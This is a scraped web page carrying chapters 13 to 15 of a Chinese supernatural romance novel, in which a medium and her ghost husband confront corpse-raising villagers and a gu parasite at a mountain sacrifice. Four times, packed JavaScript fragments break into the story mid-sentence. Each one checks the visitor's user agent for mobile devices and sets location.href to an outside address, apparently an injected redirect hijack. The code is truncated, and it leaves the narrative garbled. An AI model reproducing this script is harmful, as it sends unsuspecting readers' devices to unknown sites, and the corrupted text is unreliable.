l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237042|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不死,锁链如何成无主之物?” 林知夏:完美闭环! 她长出一口气,也不知道该说沈氏运气好还是该说老道和蛇妖气运不佳,但凡她跟宴清晚来一天,老道跟蛇妖人家可能就成事了。 只能说天道好轮回,一切自有定数。 ** 两天后,林知夏将《春庭夜宴图》重新封入檀木匣,指尖无意识抚过匣面北斗纹路。 窗外的雨丝斜斜扫过老宅滴水檐,青苔斑驳的院墙上浮动着幽冥火的幽蓝光晕。晏清斜倚在雕花门框边,玄色锦袍的暗金云纹被雨水浸得发亮:“娘子这愁眉苦脸的模样,倒像是沈氏又爬出来讨债了。” 林知夏笑笑,“她都投胎去了,从哪爬出来。” 顿了顿,接着说,“我在想黄河古道被镇压的那些龙骨。沈氏说黄河古道的第三道弯的铁牛腹中镇着三分之一的龙魂,要找到这座铁牛,要有龙怨指引、有足够的龙骨做依托才可以寻到具体位置。现在龙怨锁在《春庭夜宴图》中,龙骨该去哪里找?就算有黄河古道的星象图,但沧海桑田,事事变迁,感觉有点难办。” 结果她刚说完,手机突然在红木案上疯狂震动。 来电显示是大学室友周晓芸——那个把《周易》当星座运势看的姑娘。 林知夏作为林家继承人,从小就被严要求。她上学早,中间还跳过级,二十岁的年纪大多数人刚读大二大三,她已经大学毕业快一年。 电话接通,那边传来周晓云急切的声音,“知夏!十万火急!我表姐被选为山神新娘了!在黔南的落云村,明天就是祭祀日,你帮帮我!” 那种古怪的感觉又出现了。 前天她刚和宴清提起山神祭,结果今天就来了山神祭相关。 而且明天不止是山神祭的日子,还是宴清说的黄河古道第三道湾龙气现世的日子。根据黄河古道星象图所示,第三道弯的大概位置,就在黔南! ** 高铁穿过隧道,车窗倒影里浮起晏清半透明的轮廓。他指尖缠绕着林知夏一缕发梢,幽冥火凝成的流萤在两人膝头明明灭灭:“山神娶亲需纯阴命格,你那室友的表姐八字可对得上?” “晓芸说她表姐是阴年阴月阴日出生。”林知夏将朱砂符折成三角塞进背包夹层,“但落云村已经有差不多十年没闹过山神娶亲了,突然重启祭祀,她说怕有人借鬼神之名行腌臜事。” 列车员推着餐车经过,小推车轱辘差点碾过晏清虚影的衣摆。林知夏下意识探身过去用手帮他拢了拢衣摆,见列车员诧异的看自己,才反应过来身旁的鬼君是隐了形的。 林知夏慢慢坐直身体,“麻烦给我一瓶可乐一个面包,面包要巧克力味的。” 等列车员过去,她小声提议,“要不你坐里面?” “娘子不是更喜靠窗?” 林知夏:“我更心疼你的衣裳。”主要他是鬼,还是个非常厉害的大鬼,要是让普通人不小心碰到他或是踩到他的衣裳,真的会倒霉好几天的,一点不夸张。 宴清:“衣裳只是身外之物,娘子何须为此委屈自己。” 林知夏往自己嘴里塞了个桂花糖,干巴巴说,“我愿意。” 13. 山神娶亲(二) 林知夏上次见周晓芸是在半年前,上个月两人还视频通过话,结果仅仅三十天不到,再相见,简直都快认不出来了! “小芸,你怎么瘦了这么多?” 林知夏扑过去抱了她一下,脸上难掩担忧。 周晓芸拍拍她的背,苦笑一声,“我也不知道怎么搞的,就突然开始暴瘦,平时也没少吃,但体重一直往下降,跑了几家医院做了各种检查都没查出有什么问题,我爸妈每天想着法子投喂我高热量的食物,结果今天早上称体重,又掉了一斤。” 林知夏蹙眉,耳畔传来宴清浅淡的声音,“她被人种了蛊。” 果然! 这边车站大厅人来人往不是说话的地方,林知夏一手拖着行李箱一手拉着周晓芸往外走,“你怎么过来的?” 周晓芸:“打车来的,”她有些歉意的说,“不好意思啊知夏,咱们时间有点紧,我暂时没办法带你在这边吃喝玩乐,等解决我表姐的事咱们再好好逛逛行吗?这边有几个5A级景区,很不错的。” 林知夏看她病恹恹的样子,心里老不得劲了,捏捏她的手,“没关系,正事要紧。”又开玩笑,“不过吃喝玩乐我可不出钱,纯白嫖。” 周晓芸笑得眼睛弯起来,忍不住两人又拥抱了一下,“你太好了知夏!” 林知夏刚要再逗她两句,一道冷凝的气息自她鬓边吹过,瞬间透心凉。 林知夏:“……” 鬼君已经有阵子没往她身上故意放冷气了,日常都会控制幽冥火的温度抵消他身上的寒气,这会儿也不知道闹哪出! 快速揉去鬓角凝出的寒霜,林知夏拿眼睛乜一下,结果后脖颈就被一只修长的大手握住,她整个人朝后踉跄了一下,在周晓芸的惊呼中被宴清拢进了怀里。 “娘子莫忘了你我已成亲,夫妻间最忌拈花惹草。” 林知夏:“……??”我拈哪儿的花?惹哪里的草了?这不纯纯污蔑吗! “知夏,你没事吧!”周晓芸紧张的扶住她一边胳膊,林知夏察觉到腰间的力道蓦地一紧,反应过来,看看周晓芸,又感受了下腰间被束缚的感觉……一个大写的无语从心间划过。 我特么…………冤死我得了! 只是鬼君此时处于隐身状态,想跟他讲讲道理都不行,林知夏咬牙,先安抚周晓芸,“我没事,不小心绊了一下。”说着不着痕迹的在腰间那只是手上拍了两下,“时间不早了,咱们先找个说话的地方吧。” 周晓芸忙说好,“我在附近订了酒店,离这边挺近的,你跟我来。” 她在前面带路,林知夏稍稍落后两步,小声嘀咕,“鬼君怎么乱给人扣帽子,我是正经人,不搞蕾丝擦边那一套。” 宴清此时已经放开对她的桎梏,牵着她的手跟上前面的女子,声音散漫的问,“何为蕾丝?” 林知夏声音更小了,“就是同性……相恋。” 宴清:“拈花惹草与同性相恋何干?娘子既嫁我,就该与他人保持适当距离,如刚才那般反复搂搂抱抱成何体统?身上染上旁的气味,莫非是对本君的挑衅?” 林知夏:“……” 林知夏直接震惊了,她头一回发现鬼君宴清竟然这么霸道这么龟毛这么有占有欲的吗? 之前也没见他多在意自己和别人的相处啊,怎么现在开始立规矩了? 就……无语…… 奈何形势比人强,纵使心里有再多吐槽,她也不能反驳他,无视他,只能顺着应一声,“我以后一定注意。” 宴清满意了,手指拂过她指间墨玉戒,慢悠悠道,“你这室友中了子母蛊。” 林知夏倏地转头,宴清捏着她的下颌转过去,“此处人多,专心走路。”又道,“稍后你问她近来可遇到过什么奇事,吃过什么特殊的东西没有。她身上为子蛊,暂时靠吸食她血肉过活,过阵子若放任不管,子蛊为了长为成虫,会吃掉她的五脏破体而出。” 林知夏心情霎时沉重万分。 她对蛊尤其不擅长,只偶尔听爸爸和三叔公提起过,翻阅家里先辈手札时也会涉猎一些,但那都是皮毛,对付一般的蛊虫还可以,像子母蛊……据她所知,这是蛊毒中七煞之一,解决起来非常麻烦。 关键,她不知道怎么解。 似知道她在想什么,宴清接着道,“要解子母蛊,其一可杀掉母蛊,母蛊一死,子蛊也不会成活。其二,诱它主动出来。” 林知夏刚想问拿什么诱,就见周晓芸停住脚扭过身等她,得,回头再问吧,也不差这一时半会的。 周晓芸订的是家快捷酒店的标间,林知夏放下行李箱先去浴室洗手洗脸,然后对正调节空调温度的好室友问,“你表姐现在什么情况,她人呢?” 周晓芸拿起一瓶水递过去,叹气说,“我也不清楚,昨天我妈才跟我说表姐被村子选为山神新娘要参加祭祀活动的事。当时我就预感不太好,你知道的,我对这些一向比较敏感,就直接起了三卦,结果卦象都是大凶!于是我尝试联系表姐,但她手机关机了,想去村子找她,我妈说村子为了祭祀的事暂时封村封路,不让外人进出。昨天和你结束通话后,我其实打电话报警了,但警察反馈说表姐没有被限制人身自由,手机关机是因为不小心摔坏了,她活蹦乱跳的。从村子回来的警察跟我说表姐明确表示想在村里再玩几天,暂时不想下山。” 说到这里,周晓芸拍了几下自己的额头,“知夏,我也怀疑是不是自己太小题大做了,可能是我想太多,毕竟卦象不能真的说明什么,我到底是个半吊子,比不上你家学渊源。可心里就是觉得很不舒服,很慌,感觉表姐有危险。我把我的感受跟我爸妈说,结果因为警察亲自上山确认过,我爸妈就说我胡思乱想杞人忧天,没有人相信我。” 林知夏问,“你表姐父母家人怎么说?” 周晓芸:“表姐是孤儿,我小姨和姨夫在她七岁那年因为山体滑坡去世了,这些年一直是表姐的婆婆和阿公抚养她长大。”顿了顿,“知夏,要不你起个卦试试?” 林知夏摇头,“不用了,比起卦象,我更喜欢亲自去验证。” 宴清:“难道不是因为受了林家所行恶事拖累,导致娘子自逆水局后气场紊乱,卦象十算九空?” 林知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237043|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏:“……” 她不搭理这个今天特爱揭她短的鬼君,转而问起更重要的事,“小芸,咱们先说下你身体问题,你仔细想想,开始掉秤之前有没有发生什么比较特别的事,或者去过什么地方,吃过什么没吃过的食物,有没有喝陌生人给的水什么的。” 周晓芸瘦的皮包骨的脸上陷入沉思之色。 她是个很聪明的姑娘,林知夏这样一说,她就知道自己的身体确实是出问题了,只是这个问题普通的医学解释不了,只能依靠玄学来解决。 “我掉秤前每天都是正常上下班,早上去公司,下班直接回家,我爸妈管得严,下班后轻易不让我出门,如果有同事间的应酬,我爸也会亲自接我。聚会的时候人家吃什么我也吃什么,我们一般都是吃火锅,好像没有什么特别的……啊!”她突然一拍手,“我想起来了,我表姐上个月从外地回来给她阿公过生日,原本说只待两天就走,结果不知道怎么搞的又说暂时不走了,那天周末,她邀我去村里玩,当时给我吃了一种黑色的果子,我不知道叫什么名字,但味道很好。”说着有些迟疑,“知夏,我身体到底怎么了,你可以告诉我吗?” 林知夏看着瘦的只剩下一把骨头的好友,哪里忍心告诉她,她身体里有一只想要吞噬她五脏的小虫子,不吓死也恶心死。 于是哄她,“我暂时还不确定,等明天我进山确认后再告诉你,放心,问题不大,可以解决。” 周晓芸欲言又止,林知夏又说,“明天我自己进山。” “那怎么行!”周晓芸不同意,“我是觉得这事邪门,思来想去,才向你寻求帮助的。既然是我邀你来的,就要和你同进退!明知道可能有危险,还让你自己进山,这绝对不行!” 林知夏:“你太弱了,会成为我的拖累。” 周晓芸:“…………” 林知夏:“想想电视剧里那些拖后腿的有多招人恨……” 周晓芸:“…………” ** 潮湿的山雾漫过盘山公路,林知夏望着车窗上蜿蜒的水痕,指尖无意识摩挲着登山包里的罗盘。他们租了辆越野车,此刻正沿着悬崖边的公路向落云村行进。 “祭祀时辰应在子时三刻。”晏清倚在副驾闭目养神,玄色锦袍在颠簸中纹丝不动,“倒是与龙气现世的时辰前后脚。” 林知夏昨天晚上就调出手机的卫星地图跟黄河古道的星象图做了二次对比,得出一个不算意外的结论:落云村的位置恰好覆盖第三道弯。 你说是巧合也行,说是天意也没错,反正事就是这么个事,冲就对了! 车身在这时突然颠簸起来,林知夏猛打方向盘才避开了滚落的山石。 车灯扫过前方浓雾,隐约照见几个佝偻身影。 披着蓑衣的老者拄着桃木杖拦在路中央,脸上彩绘的山鬼图腾在车灯下泛着诡异的青紫色。 “外乡人,今夜封山。”老者声如裂帛,手中铜铃震得人耳膜生疼。林知夏降下车窗,山风裹着纸钱灰扑进来,她瞥见老者腰间悬着的青铜面具——与当年见过的湘西赶尸人供奉的山魈面一模一样! 14. 山神娶亲(三) 雾像浸了墨汁的棉絮,沉甸甸压在盘山公路上。林知夏握紧方向盘,指节泛白地盯着前方拦路的蓑衣老者,车灯扫过他腰间青铜山魈面的瞬间,后视镜突然映出十几道佝偻黑影——不知何时,后方山崖也爬上来许多戴着彩绘木面具的村民。 “滴——” 刺耳的鸣笛声撕裂死寂。 车头猛然下沉,林知夏一脚踩死刹车,眼睁睁看着前轮碾过的地方塌陷出深坑,碎石裹着泥浆轰隆隆滚落悬崖。副驾上的晏清虚影突然凝实,玄色衣袖扫过仪表盘,幽冥火顺着方向盘缠上她的手腕。 “活人敢用山魈面……”晏清鎏金瞳孔倒映着老者的彩绘图腾,“这村子倒比那沈氏的画还有趣些。” 林知夏心说都什么时候了还有心情捧一踩一呢!她摸出罗盘按在车窗上,黄铜磁针疯狂打转。 突然闻到血腥气,林知夏眉头轻蹙,定睛细看,发现那些村民蓑衣下摆正滴滴答答渗着暗红液体,像是刚从屠宰场爬出来似的,有点恶心。 “外乡人!”老者突然暴喝,手中铜铃震得车窗玻璃簌簌作响,“今夜山神巡山,活人退避——” 话音未落,车顶传来重物坠落的闷响,十几道黑影顺着山崖藤蔓跃上车身。林知夏抄起登山包里的桃木剑,剑尖刚挑开扑来的黑影,腥臭黑血就溅了满窗。那根本不是活人,而是披着蓑衣的腐尸! “坐稳。” 晏清广袖扫过中控台,幽冥火凝成的青龙撞碎前挡风玻璃。林知夏在气浪中护住头脸,耳畔尽是腐尸被烧焦的噼啪声。车身这时骤然腾空,吓得林知夏心脏都停了半拍,好在经历多了反应快,扭头去看,就瞥见后视镜里晏清单手托起了整辆越野车,玄色锦袍在幽冥火中猎猎翻飞。 林知夏:“………” “抓紧。” 失重感袭来时,林知夏听话地搂紧了座椅。幽冥火裹着车身跃过塌陷路段,落地瞬间,她看见崖壁上密密麻麻挂满了红绳捆扎的骷髅头,每颗头骨天灵盖上都钉着枚生锈的青铜钉。 “九阴……养尸地。”林知夏攥紧沁出汗的罗盘,口中喃喃,“这山神要娶的怕不是鬼新娘?!” 还没等她想明白,手中罗盘磁针开始倒转,针尾凝出冰晶直指后方。林知夏猛地回头,正对上塌陷坑洞对面瞳孔涣散、状态明显不正常的周晓芸! 她怎么会出现在这里?!走来的?不会吧?!那么远呢!而且两个小时前她们才在市中心分开,那时的周晓芸没有任何异常! 林知夏心态有点崩,见周晓芸无视坑洞抬腿就要迈,吓得直接喊了声“宴清!”,伴随着她的惊呼,幽冥火及时卷住周晓芸,将她带到了塌陷路段的这一边。 “醒醒!”林知夏反手甩出张清心符,想着不管怎么着先把人唤醒,结果黄符在触及周晓芸额头的瞬间燃成了灰烬。 晏清按住她还想再试的手腕,淡淡道,“子蛊醒了。” *** 月光渗过老槐树虬结的枝桠,在青石板路上洒下斑驳血痕。林知夏跟宴清躲在石碑阴影里,望着百米外灯火通明的祠堂。穿着靛蓝土布的老婶子们正往供桌上摆三牲,每块生肉都插着三炷倒头香。 虽然有结界护持,林知夏还是不敢做什么大动作,上回在屏山村的经历告诉她,鬼君宴清的结界并不是万能的,该暴露的时候,也会暴露。 她捻起牌坊裂缝里的纸灰,小声说,“山神祭该用黄表纸,这些……是什么?” 晏清指尖燃起幽冥火,纸灰在幽蓝光晕中显出暗金纹路:“是浸过尸油的往生钱。” 两人说话间,祠堂那边爆出凄厉唢呐声,八个赤膊汉子抬着朱漆棺材踏着禹步出来。林知夏瞳孔骤缩——棺材盖上用金粉画着交颈鸳鸯,分明是阴婚的制式!更诡异的是抬棺人的脖颈上都系着红绳,绳结处则坠着刻满符咒的青铜铃! 又是铃铛! 林知夏无奈的想,自己是不是这辈子都要跟青铜铃产生不解之缘了?! “叮铃——” 夜风卷着铜铃响飘过石碑,周晓芸突然睁眼。林知夏反应很快,正要捂她嘴,却见她瞳孔泛起诡异的青灰色,袖中寒光一闪——竟是握着把生锈的剪刀要直刺自己咽喉! “当啷!” 晏清弹指击飞凶器,幽冥火顺势缠上周晓芸四肢。林知夏趁机将护身符和嗜睡符拍在她后颈,符纹化作青光没入皮肤,周晓芸顺利昏厥。 这法子是宴清想出来的,说是子蛊还未养成,周晓芸作为寄生体若无知无觉,子蛊则暂时不可兴风作浪。 祠堂方向接着又响起此起彼伏的犬吠。林知夏转头望去,只见几十条黑狗被铁链拴在祠堂廊柱下,每只狗的脖子上都戴着贴有符咒的皮项圈。最骇人的是狗群中央那口沸腾的青铜鼎,鼎中翻滚的暗红液体正咕嘟咕嘟冒着泡。 “黑狗血混着尸油……”林知夏胃部翻涌,“他们这是要炼鬼幡!” 晏清揽住她的腰肢腾空跃上高耸的石碑。幽冥火凝成的披风裹住三人,他垂眸望着下方的抬棺队伍冷笑:“娘子可看清棺材里是什么?” 林知夏心说我又没有透视眼,但还是听话的用心去看。然后她发现棺材缝隙里正渗出粘稠的黑雾!黑雾触及月光,瞬间凝成婴孩形状,下一瞬,诡异的婴孩攀在抬棺人背上开始吮吸血气,不过片刻功夫,最前面的汉子已经面色惨白如纸。 “是鬼子煞。”她攥紧罗盘,磁针在震位疯狂震颤,“用阴婚养煞……这村子疯了吗!” 夜枭般的笑声突兀响起。先前拦路、见打不过就跑掉的老者拄着桃木杖从祠堂踱出,他脸上的山魈彩绘在火光中更显狰狞可怖:“贵客既然来了,何不共饮一杯喜酒?” 林知夏心说这场景这台词何等耳熟! 不过早就打草惊蛇了,被发现很正常。 她被幽冥火卷着飘然落地。晏清没有隐身,广袖扫过满地纸钱,锦袍无风自动:“酒便免了,本君倒想看看,你们供奉的是哪路山神。” 老者浑浊的眼珠突然爆出精光,桃木杖重重杵地,祠堂房梁应声落下九盏白灯笼,每盏灯笼上都裹着张人皮,五官清晰可见! 林知夏倒抽冷气,灯笼的光映出了供桌后的神龛,那哪里是什么山神像,分明是具套着戏袍的森森白骨! “白骨颈环。”晏清指尖拂过林知夏微颤的手背,“娘子可还记得你家中手札记载的湘西言家?” 寒意顺着脊梁窜上天灵盖。林知夏想起那份专门记载玄门秘闻的手札——湘西言氏擅炼尸,每代家主都会给宠妾戴上白骨颈环,待妾室死后便将其炼成艳尸。而此刻神龛中的那具白骨脖颈上,正套着一个白色项圈!看材质,应该是骨头无疑! “叮——” 神龛突然迸出裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237044|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响,白骨似活了般发出咔咔响动,虽然隔着挺远的距离,但林知夏还是条件反射的甩出五帝钱,铜钱却在将将触及戏袍时纷纷落地。 老者不以为然哈哈大笑,好似林知夏的举动有多么的跳梁小丑,他手中摇响铜铃,拴在祠堂的黑狗齐声狂吠,音浪震得人耳蜗刺痛。 林知夏捂着耳朵龇牙咧嘴,宴清面露不悦,一手捂住她的双眸,幽冥火同时顺着掌心蔓延,再睁眼时,整座祠堂已然笼罩在幽蓝光晕中…… 林知夏:“……”鬼君真的好牛啊,幽冥火真的太好用了! 她正感慨这波KO的好迅速,宴清在这里简直是碾压般的存在,结果发现那些所谓的黑狗不是真的狗,竟然都是被剥了皮的人尸! 人??尸!!!! 简直畜生! 林知夏又惊又怒,简直不敢相信有人真的可以变态成这样! “他们用活人炼尸犬!!!” 宴清揉揉她的眉心,“对畜生何须生气,毁了这里便是。” 两人说话间,躲过幽冥火的老者尤不死心,突然暴喝:“请山神——” 原本一动不动的抬棺人齐刷刷咬破舌尖,血雾喷在棺材上。鬼子煞吸饱血气瞬间暴涨,青黑小手撕开棺材板直取林知夏咽喉!晏清并指斩断鬼爪,幽冥火顺着煞气反噬回棺材,将整具棺木顷刻烧成灰烬。 “放肆!”老者显然没想到对方能轻而易举毁掉他费尽心血才养出的鬼子煞,惊怒交加,桃木杖劈头砸来,“山神面前岂容……” 杖风扫过林知夏鬓角的刹那,晏清突然握住杖头。幽冥火顺着木纹烧上老者手臂,山魈彩绘在火光中扭曲哀嚎:“你竟敢……啊啊啊!” 惨叫声中,林知夏甩出墨斗线缠住那个咕嘟冒泡的青铜鼎。黄铜磁针在罗盘上划出七星阵,她咬破指尖在鼎身画镇煞符:“天地清明,秽气分散——破!” 青铜鼎应声炸裂,沸腾的黑血泼在尸犬身上,瞬间燃起青紫鬼火。晏清广袖翻卷扫开火浪,揽着林知夏顺带着昏迷的周晓芸跃上高高耸立的幽冥火。 下方已成人间地狱,老者被幽冥火吞噬前仍在嘶吼:“山神永生……” “永生?”晏清冷笑,幽冥火凝成长剑钉入神龛,“不过是个偷寿的尸傀。” 白骨在火光中轰然倒塌,藏在颅骨中的陶罐滚落在地。林知夏用桃木剑挑开罐口,里面竟蜷缩着一只长满人脸的蜘蛛,怪渗人的! 宴清:“此为子母蛊的母蛊。” 林知夏:“……”幸好周晓芸看不到,要不估计要疯。 雾气漫过祠堂焦土时,林知夏正给昏迷的周晓芸喂糯米水。墨玉戒刚刚吸饱了煞气,此刻在幽冥火光中泛着温润的暗金纹路。 “母蛊已死,子蛊该排出来了。”她掀开周晓芸衣袖,果然看见皮下有东西在蠕动。银针刚刺破皮肤,腥臭黑血就飙溅而出,蛊虫落地瞬间被幽冥火烧成灰烬。 晏清把玩着从神龛搜出的白骨项圈,林知夏看到说,“言家六十年前就绝户了,这项圈……” “是赝品,不过……”宴清用幽冥火挑起项圈缝隙里的黑灰,哼笑一声,“掺了龙鳞粉。” 林知夏刚要说什么,罗盘磁针突然指向后山。她转头望向雾气缭绕的山巅,隐约看见半截生锈的铁链直直从崖壁垂下—— “第三道弯。”她与晏清异口同声。 15. 山神娶亲(四)大修 浓雾裹着腐烂的槐花香漫过山道,带来一股不详的气息。 林知夏将依然处在昏迷中的周晓芸安置在越野车后座。车子前窗玻璃虽然碎了,外面的刮痕也多到不忍直视,但好在还能正常行驶,总好过幽冥火幻化的马车。 主要幽冥火到底是鬼火的一种,对普通人的影响比较大。 好朋友本来就够倒霉了,别回头给雪上加霜,她是真的于心不忍。 龙气即将现世,他们要尽快赶去第三道弯,哪怕暂时取不回那三分之一的龙魂,也要亲眼去瞅一瞅大概方位在哪里。要是运气好,天道给力,能直接取回来就更好了,这得省去多少兜兜转转的麻烦事! 俗话说得好,梦想要有,万一成真了呢,对吧? 至于为什么要带着周晓芸,道理很简单,不放心。 刚刚的伪神虽然解决了,但总感觉有点太过简单,林知夏一面觉得鬼君宴清666,一面又不得不疑神疑鬼担心后面还有大boss,毕竟小芸的表姐至今下落不明,作为山神娶亲的重要当事人,竟然没有出现在刚刚的场景中,本身就有点不正常。 所以为了以防万一,她是无论如何都不可能将周晓芸放在落云村的,那地方太邪门,她跟宴清暂时腾不出功夫彻底清理一遍。 墨玉戒触到方向盘时腾起一股青烟,戒面并蒂莲纹浮现出北斗七星的暗芒。 “第三道弯的星位在变。”坐上副驾的宴清神色淡淡,他望着远处若隐若现的河湾轮廓,指尖无意识摩挲着林知夏手腕上的龙骨镯子,“这些村民用活人养煞,倒像是要截断龙气。” 林知夏微怔,晏清玄色锦袍的暗金云纹在雾中泛着幽光,视线扫过后视镜上凝结的尸油,“娘子可闻到腐土里混着的香气?” 林知夏对着车窗外使劲嗅了嗅,泥腥气里果然藏着缕极淡的咸腥,混着某种深海特有的藻类气息—— “这是什么味道?”她问。 宴清:“龙涎香。” 龙涎香? 这味儿是龙涎香? 没搞错吧!有点难闻啊!不过等等,一般人认为的龙涎香其实是用抹香鲸肠内分泌的干燥物制成,但其实龙涎就是龙的口水呀,哪怕是龙,口水大概也不会太好闻……吧,宴清哪来的脸说‘香’? 林知夏心里跑过七八十只草泥马,却不敢把嫌弃表现在脸上,她牵牵嘴角,“我记得《河图要略》上好像有记载,说是明朝时工部用南海鲛油混合龙涎香浇筑镇河兽。”她干巴巴说,“这个浇筑的镇河兽会不会就是镇河铁牛?” 宴清乜她一眼,嗯一声算是肯定。 林知夏继续发散思维,“世上真的有鲛人存在吗?” 宴清:“世上有龙,缘何会无鲛?” 林知夏:“……”好有道理。 发动车子,沿着盘山道遵循地图,朝着第三道弯的方向前行。 路上还算顺利,眼见要到达目的地,山崖上突然传来巨石滚落的轰响。两人抬头望去,数十盏白灯笼正顺着盘山道幽幽飘来,如一条蜿蜒曲折的蛇,显得诡异又可怖。 再近一些,林知夏看到了灯笼骨架上钉着的赫然是新鲜的人指骨! 人……指骨…… 林知夏就发现这个落云村办事要比屏山村恶心许多,不是把人炼成狗,就是把人的手指头挂灯笼上当装饰,真是够够的! 别让她抓到幕后的人,只要抓到,必定大卸八块永世不得超生! 看到这阵仗,林知夏有种第二只靴子终于落地的踏实感,“来得倒是快。”晏清鎏金瞳孔映出灯笼上扭曲的符咒,玄色绸带缠住林知夏腰肢纵身跃上车顶,他唇带浅笑,“娘子可要赌一赌,这些灯笼里装的是活人还是行尸?” 林知夏心说这么大点的灯笼怎么可能装得下活人! 她特肯定的答,“行尸!”话音未落,手中的三枚五帝钱已经迅疾甩出! 铜钱穿透雾霭击中领头的灯笼。灯笼竹骨爆裂的瞬间,漫天飘洒的却不是尸块,而是浸着血咒的黄表纸,纸片触及车身立即燃起青紫鬼火,将越野车烧得噼啪作响。 林知夏:“……” 林知夏要疯! 这车是找租车公司借的,用完肯定要还!结果出来跑趟山,前后不到两个小时,车已经快报废了。 林知夏:“……”就问还车时车主会不会想打死她! 心里疼得直抽抽,早知道借辆便宜点的面包车了,怪只怪她想得不够充分,宴清说越野车好看,指名道姓要这辆,现在好了,这得赔多少钱?! “是阴兵借道符!”心里疼得直抽抽,打架还不能有丝毫懈怠。扯下腕间红绳结成锁魂结,黄铜罗盘在掌心急速旋转,林知夏皱眉说,“这些东西似乎在改变地脉走向!” 宴清不置可否。 幽冥火裹住她跃离车顶,脚尖离开的瞬间,身后传来铁皮撕裂的巨响。林知夏回头望去,只见八具青铜棺跟钻地机似的一下破土而出,棺材四角拴着的铁链正将越野车绞成麻花,周晓芸被气浪掀出车窗,眼看就要撞上山壁。 林知夏顾不上心疼车,呼吸一窒,忙甩出墨斗线缠住好友腰身,自己却被反作用力拽向崖边。千钧一发之际,墨玉戒迸出青光,戒面莲纹化作藤蔓缠住突起的山岩。她借力荡回山道,后背重重撞进晏清怀里。 “娘子这招飞蛾扑火,倒是比戏台上的武生还精彩。”鬼君冷玉般的手指拂过她渗血的虎口,声音幽冷,“不过下次要救人,记得先给自己系条安全带。” 林知夏:“……” 嘲吧嘲吧,无所谓。 挣扎着要去看周晓芸,结果腰间的绸带直接收紧,“放心,她无事。”晏清带着她飘然落到青铜棺阵七步之外,锦袍扫过满地纸灰,提醒她,“仔细看这些棺椁的排列顺序。” 林知夏忙认真观察,八具青铜棺呈八卦方位依次排列,每具棺材的棺盖上都密密麻麻的钉入许多镇魂钉,而这些镇魂钉则生生组成了一个反写的“敕”字。 罗盘磁针在手中疯狂打转,针尾凝出的水珠仅片刻功夫就在半空拼出一个颠倒的太极图。 颠倒的……太极图……这不就是…… “反八卦钉魂阵!?”林知夏倒吸冷气,“这些不是养尸棺,是锁龙棺!”这阵子她有空就翻以前三叔公从不让她碰的秘辛手札,短短时间长了不少见识,这锁龙棺顾名思义与困龙阵有异曲同工之处,所谓困龙锁龙,就是让龙不得自由的一种针对型秘术。 林知夏有些着急,拽着宴清的袖摆连退好几米,抽出桃木剑叮嘱,“我去破阵,你待着别动!”顿了顿,不放心,“要不你再离远点儿!”想到上回在屏山村遇上的困龙阵,讲真,她是不想经历第二回了。 宴清将她肩上不知何时粘上的落叶拿掉,浅笑道,“只怕来不及了。” 似乎是为了迎合他的话,山体深处突然传来龙吟般的震颤。第三道弯的河水逆流冲天,水雾中浮现出巨大的铁牛轮廓。那尊数百年前铸造的镇河兽缓缓冲出水面,它双目泣血,牛角上缠着的锁链跟接引管似的,一头是牛角,一头连着八具棺材,锁链将牛腹中的龙形黑雾径自往棺材阵里拖拽运输! 林知夏看得目瞪口呆,显然没想到还能这么操作的! 幕后人一个没露,却不耽误人家偷天换日! 晏清估计也气得不轻,他鎏金瞳孔缩成竖线,幽冥火直接凝成长剑劈向铁链,冷笑一声,“倒是会捡现成的!” 锁链应声断裂的刹那,八具青铜棺同时开启。裹着尸臭的黑雾喷涌而出,这些黑雾在半空中立时凝出一条残缺不全的黑龙。 残缺代表还未祭炼成功。 林知夏看着与宴清的青龙眉眼相似的龙影,心里有一万句妈卖批不知如何说出口!突然明白过来,这些锁龙棺,锁的是铁牛腹中的龙魂,并不是针对宴清! 至于落云村的村民大费周章重启山神祭—— 他们是想用活人献祭炼化龙怨,再借反八卦阵把晏清散落的龙魂炼成尸傀! 若将这三分之一龙魂炼成尸傀,龙气源源不绝,好处之多不难想象。 只是问题是,这些村民真的有这样的见识?可以搞出这样的大阵仗? 林知夏对此存疑,总觉得事情不会这样简单。 顾不上多想,幽冥火与龙怨形成的黑龙已经正面碰撞,碰撞的瞬间,气浪直接掀翻了三具青铜棺,棺材下是用鲜血绘制的阵图,林知夏打眼一瞧,这不就是黄河古道星象图嘛! “震位!”她指着图中被朱砂圈住的星位,正要提醒宴清,一道凄厉的女声突兀响起,林知夏以为是周晓芸,吓都要吓死了,结果寻声望去,却是一名身穿红色喜服的年轻女人正用扭曲的姿势爬向棺材阵,她面如死灰,自七窍中钻出无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 